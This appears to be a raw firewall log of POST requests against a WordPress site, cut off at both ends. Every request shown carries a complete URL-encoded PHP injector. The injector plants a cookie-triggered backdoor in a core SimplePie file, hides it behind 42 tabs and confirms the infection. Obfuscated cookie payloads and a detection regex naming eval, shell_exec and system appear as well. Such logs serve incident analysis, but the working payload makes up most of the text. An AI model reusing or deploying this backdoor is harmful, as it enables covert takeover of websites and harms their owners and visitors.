0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nHs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:59:24","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3250\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nrt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:59:42","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3250\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqRpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\ntG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:00:00","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3250\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFHVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:00:30","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Eb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 